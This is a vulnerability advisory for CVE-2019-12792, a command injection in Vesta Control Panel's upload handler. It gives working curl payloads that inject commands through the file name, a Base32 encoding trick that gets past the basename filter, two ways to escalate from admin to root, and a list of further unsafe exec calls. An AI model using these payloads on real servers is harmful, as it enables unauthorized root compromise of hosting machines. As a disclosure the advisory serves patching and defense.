Andrea Cardaci — 12 August 2019
Discovered | 2019-03-15 |
Author | Andrea Cardaci |
Product | Vesta Control Panel |
Tested versions | 0.9.8-24 |
CVE | CVE-2019-12792 |
The insufficient shell escaping mechanism used during the invocation of the exec
PHP function allows a registered user to run arbitrary system commands as the admin
user, to whom VestaCP grants full access. A malicious registered user can thus escalate its privileges up to root
by submitting a POST request to the web application.
HestiaCP (an actively maintained fork of VestaCP) version 1.0.4 is also vulnerable but a fix has been promptly deployed in version 1.0.5.
The PHP script reachable at /upload/UploadHandler.php
naively uses '...'
to shell-escape the user input (instead of using escapeshellarg
):
exec (VESTA_CMD . "v-copy-fs-file ". USERNAME ." {$uploaded_file} '{$file_path}'", $output, $return_var);
The $file_path
variable is controlled by the user as it corresponds to the name of the file being uploaded. By crafting a proper file name it is possible to escape the single quotes and blindly run additional commands as the admin
user (the one that runs the web server in VestaCP).
For example, the following curl
invocation uses the sleep
command to prove the RCE success:
$ PHPSESSID=... # grab it from an authenticated regular user session
$ time curl -sk -o /dev/null https://target.com:8083/upload/ \
-b "PHPSESSID=$PHPSESSID" \
-F "files=@/dev/null;filename=\"';sleep 5;#\""
real 0m5.097s
user 0m0.032s
sys 0m0.004s
Since the file name is filtered through the basename
PHP function, the payload cannot contain /
. Follows a more general solution that allows to execute arbitrary commands by using the Base32 encoding:
$ COMMAND='[ -w ~admin/.bashrc ] && sleep 5'
$ PAYLOAD="$(echo "$COMMAND" | base32 -w0)"
$ time curl -sk -o /dev/null https://target.com:8083/upload/ \
-b "PHPSESSID=$PHPSESSID" \
-F "files=@/dev/null;filename=\"';echo $PAYLOAD | base32 -d | sh;#\""
real 0m5.087s
user 0m0.028s
sys 0m0.000s
The above also proves that is possible to write files in the admin
home directory.
The admin
user ultimately has full access to the target machine, yet VestaCP seems to make it hard for it to run superuser commands. For completeness, follows two possible ways to accomplish that.
v-start-service
commandThe service
system command provides a way to execute arbitrary executables and not only init scripts1. Since v-start-service
is a merely wrapper around service
, it is possible to exploit it to run arbitrary executables as root
.
Set the COMMAND
variable as follows:
$ COMMAND='
echo "id >/usr/local/vesta/web/proof" >/tmp/x
chmod +x /tmp/x
sudo /usr/local/vesta/bin/v-start-service ../../tmp/x'
Run the remaining commands as above, then check that the proof file is created in the web server root:
$ curl -k https://target.com:8083/proof
uid=0(root) gid=0(root) groups=0(root)
One simple way for the admin
user to legitimately execute root
commands is to replace the /etc/crontab
file and restart the cron daemon using the v-change-sys-service-config
VestaCP utility. Set the COMMAND
variable as follows:
$ COMMAND='
echo "* * * * * root id >/usr/local/vesta/web/proof" >/tmp/x
sudo /usr/local/vesta/bin/v-change-sys-service-config /tmp/x cron yes'
Run the remaining commands as above, then after one minute check that the proof file is created in the web server root:
$ curl -k https://target.com:8083/proof
uid=0(root) gid=0(root) groups=0(root)
Several other instances of the same or similar problems have been found in the VestaCP source code. The following list2 is a best-effort attempt to enumerate such instances, they are not tested and often are not exploitable in practice or not interesting since only the admin
user can reach the code, but should nevertheless be fixed3:
// /usr/local/vesta/web/edit/mail/index.php:75
exec (VESTA_CMD."v-list-mail-account-autoreply ".$user." '".$v_domain."' '".$v_account."' json", $output, $return_var);
// /usr/local/vesta/web/edit/mail/index.php:231
exec (VESTA_CMD."v-delete-mail-account-alias ".$v_username." ".$v_domain." ".$v_account." '".$alias."'", $output, $return_var);
// /usr/local/vesta/web/edit/mail/index.php:257
exec (VESTA_CMD."v-delete-mail-account-forward ".$v_username." ".$v_domain." ".$v_account." '".$forward."'", $output, $return_var);
// /usr/local/vesta/web/edit/server/index.php:342
exec (VESTA_CMD."v-add-backup-host '". $v_backup_type ."' '". $v_backup_host ."' '". $v_backup_username ."' '". $v_backup_password ."' '". $v_backup_bpath ."'", $output, $return_var);
// /usr/local/vesta/web/edit/server/index.php:359
exec (VESTA_CMD."v-delete-backup-host '". $v_backup_type ."'", $output, $return_var);
// /usr/local/vesta/web/edit/server/index.php:367
exec (VESTA_CMD."v-add-backup-host '". $v_backup_type ."' '". $v_backup_host ."' '". $v_backup_username ."' '". $v_backup_password ."' '". $v_backup_bpath ."'", $output, $return_var);
// /usr/local/vesta/web/edit/server/index.php:389
exec (VESTA_CMD."v-add-backup-host '". $v_backup_type ."' '". $v_backup_host ."' '". $v_backup_username ."' '". $v_backup_password ."' '". $v_backup_bpath ."'", $output, $return_var);
// /usr/local/vesta/web/edit/server/index.php:406
exec (VESTA_CMD."v-delete-backup-host '". $v_backup_type ."'", $output, $return_var);
// /usr/local/vesta/web/edit/web/index.php:39
exec (VESTA_CMD."v-list-web-domain-ssl ".$user." '".$v_domain."' json", $output, $return_var);
// /usr/local/vesta/web/edit/web/index.php:142
exec (VESTA_CMD."v-list-dns-domain ".$v_username." '".$v_alias."' json", $output, $return_var);
// /usr/local/vesta/web/edit/web/index.php:145
exec (VESTA_CMD."v-change-dns-domain-ip ".$v_username." '".$v_alias."' ".$v_ip, $output, $return_var);
// /usr/local/vesta/web/edit/web/index.php:176
exec (VESTA_CMD."v-delete-web-domain-alias ".$v_username." ".$v_domain." '".$alias."' 'no'", $output, $return_var);
// /usr/local/vesta/web/edit/web/index.php:184
exec (VESTA_CMD."v-delete-dns-on-web-alias ".$v_username." ".$v_domain." '".$alias."' 'no'", $output, $return_var);
// /usr/local/vesta/web/edit/web/index.php:317
exec (VESTA_CMD."v-list-web-domain-ssl ".$user." '".$v_domain."' json", $output, $return_var);
// /usr/local/vesta/web/edit/web/index.php:370
exec (VESTA_CMD."v-add-letsencrypt-domain ".$user." ".$v_domain." '".$l_aliases."' 'no'", $output, $return_var);
// /usr/local/vesta/web/reset/mail/index.php:135
exec (VESTA_CMD."v-get-mail-account-value '".$v_user."' ".$v_domain." ".$v_account." 'md5'", $output, $return_var);
// /usr/local/vesta/web/reset/mail/index.php:154
exec (VESTA_CMD."v-change-mail-account-password '".$v_user."' ".$v_domain." ".$v_account." ".$v_new_password, $output, $return_var);
See the GTFOBins entry. ↩
Locations refer to the Git commit e1fb811caf73e5d8de49e3d2a0098a1afb0f647f. ↩
Some of them (and others) are fixed in a subsequent pull request. ↩